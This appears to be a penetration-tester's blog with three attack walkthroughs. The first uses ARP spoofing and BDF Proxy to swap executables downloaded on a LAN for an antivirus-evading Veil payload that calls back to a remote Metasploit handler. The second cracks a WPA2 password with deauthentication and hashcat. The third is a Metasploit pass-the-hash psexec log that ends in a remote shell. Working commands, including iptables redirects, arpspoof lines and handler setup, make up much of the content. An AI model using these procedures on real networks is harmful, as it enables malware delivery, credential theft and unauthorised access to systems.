Backdooring EXEs (on the fly) over HTTP/S on the LAN

Scenario: During an engagement, we are plugged directly into the client’s LAN with only basic network access. On this LAN there are a number of workstations – for example.

Objective: Get a shell on a host.

Required Items:

First, we need to create a executable that is not (hopefully) going to be picked up antivirus. Obviously, this is easier said than done; however, we will use Veil-Evasion 3.0 on our Kali box for this task. See below:

veil1veil2veil3veil4veil5veil6

We need to remember the location of our executable (listed above in green) because we will need that file in a minute. (/usr/share/veil-output/compiled/google_updater.exe). Now would also be a good time to run/test your executable on a few systems to make sure that it’s not detected by the antivirus software on the client network (if known). In this instance , this particular executable is not detected by Windows Defender:

windows defender

Assuming BDF Proxy is properly installed (not covered here), we need to adjust the bdfproxy.cfg file to read as such after installation:

bdfproxy1.PNG

There are lots of other options for different architecture types (and other settings in general). I’m only showing x86 inside of one particular scenario. You may need to adjust the config file based on your needs/wants.

We can now start up BDF Proxy:

bdfproxy2

We also need to add the following two iptables rules on our Kali box:

iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j REDIRECT –to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 -j REDIRECT –to-port 8080

iptables.PNG

After we MiTM our victim (using arp spoofing) the iptables rules will effectively proxy tcp/80 and tcp/443 traffic over to BDF Proxy – which will handle the backdooring of the executable being downloaded.

Before we MiTM our victim (we’ll save that for the last step), we need to get our meterpreter handler setup. This is being done on a public AWS instance with metasploit-framework installed; however, one could do easily do host metasploit internally on the client’s LAN as well. Just remember that the LHOST specified in Veil (screenshot #4) is where our payload will call back to. In our case, we specified: aws.shellgam3.com. If your trying to catch shells across the Internet, remember you probably need to adjust NAT rules on your public side as well. In this case, we had to add a NAT rule for tcp/4444 to be directed/allowed to our AWS box.

We will run the following command to fire up metasploit framework and our handler:

msfconsole -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 172.31.18.189; set LPORT 4444; set exitonsession false; exploit -j”

metasploit

With our handler running, we can now move forward with arp poisoning our victim on the LAN. Once the MiTM is in place, any executable downloaded by our victim will be replaced with our executable – yet the executable will retain the same name of the file being downloaded.

We’ll need to open up two different terminal windows and run the following commands to setup the MiTM: In this case 192.168.22.91 = victim IP and 192.168.22.1 = router IP:

arpspoof -i eth0 -t 192.168.22.91 192.168.22.1

arpspoof -i eth0 -t 192.168.22.1 192.168.22.91

Now, when our victim downloads an executable, most everything should look normal:

download of exe.PNG

However, on the backend (on our Kali box), we should notice a few things happening. In BDF Proxy, for example, we see that the victim’s executable is being replaced with our executable:

bdfproxy3.PNG

And if/when the victim runs the executable, we should (hopefully) have our meterpreter shell on our C2 box:

shell.PNG

It should be noted that when our victim attempts to download an executable over https, they *will* receive a nasty certificate error. However, as long as the website does not have HSTS enabled, then the victim may opt to click past the certificate warning and download their file.

Cracking WPA2 Personal PSKs

Below is the process I use for testing the strength of a wireless network’s password (WPA2 Personal in this example). This guide is intended for someone who already has a working knowledge of Kali Linux and an external WIFI adapter that is capable of operating in monitor mode and also capable of packet injection.

With my WIFI adapter connected, we can see that it’s listed as wlan0.

Capture1

We type airmon-ng to make sure our adapter is listed in the output.  If not, resolve that issue before proceeding.

Capture2

We gathered the name of the wireless interface from the first step, so we can now type the below command.  Notice the the interface name has now changed to wlan0mon.  Make note of what it changes to, as it it will be needed later.

Capture3

Ifconfig confirms the interface name change as mentioned above.

Capture4

The below command will list all of the wireless networks in the vicinity of the wireless adapter.

Capture5

Below is the list of available wireless networks.  In this example, we are targeting the wireless network named “Nick’s iPhone”.  We need to make note the the BSSID and the channel.

Capture6

We copy out the BSSID so that we don’t have to type it in manually.

Capture7

To monitor only the target network (Nick’s iPhone in this example), issue the below command:

Capture8

We can see that there is a single device connected (listed under station).

Capture9

From here, we need to open a new terminal and issue the below command.  The command will send two “deauth” packets to the device/station connected to the wireless network named Nick’s iPhone.  When this happens, the device will be disconnected and will typically try to automatically reconnect.  When the device reconnected, we should (hopefully) capture the WPA2 4-way handshake.

Capture10

In the top right hand side of the original terminal window we should see “WPA handshake” when the device has successfully reconnected. There will also be capture files on the desktop as well.

Capture11

Issue the below command.  Note: When using wpaclean, you must list the name of the OUTPUT file first.  This is confusing.  The name can be anything, but the output file comes first.

Capture12

As we are using hashcat to brute force the PSK, we need to convert the capture files into a format that is usable by hashcat.

Capture13

A continuation of the above screen shot:

Capture14

Below is the hashcat command needed to attempt to brute force the PSK against your favorite wordlists.  As we can see below, the password was found in the wordlist and the WIFI password for the target is: wireless123.

Capture15

Pass The Hash Reverse Shell With Metasploit

Kali: 173.18.131.94
Victim: 173.18.131.111

root@kali:/usr/bin# ./msfconsole
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 173.18.131.94
lhost => 173.18.131.94
msf exploit(psexec) > set rhost 173.18.131.111
rhost => 173.18.131.111
msf exploit(psexec) > set smbpass 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4
smbpass => 00000000000000000000000000000000:b048b97d9fdb66d3d2ed72b3782847a4
msf exploit(psexec) > set smbuser administrator
smbuser => administrator
msf exploit(psexec) > set smbdomain test
smbdomain => test
msf exploit(psexec) > exploit

[*] Started reverse TCP handler on 173.18.131.94:4444
[*] Connecting to the server…
[*] Authenticating to 173.18.131.111:445|test as user ‘administrator’…
[*] Selecting PowerShell target
[*] 173.18.131.111:445 – Executing the payload…
[+] 173.18.131.111:445 – Service start timed out, OK if running a command or non-service executable…
[*] Sending stage (957487 bytes) to 173.18.131.111
[*] Meterpreter session 1 opened (173.18.131.94:4444 -> 173.18.131.111:49811) at 2016-03-09 16:44:58 -0500

meterpreter > shell
Process 2212 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>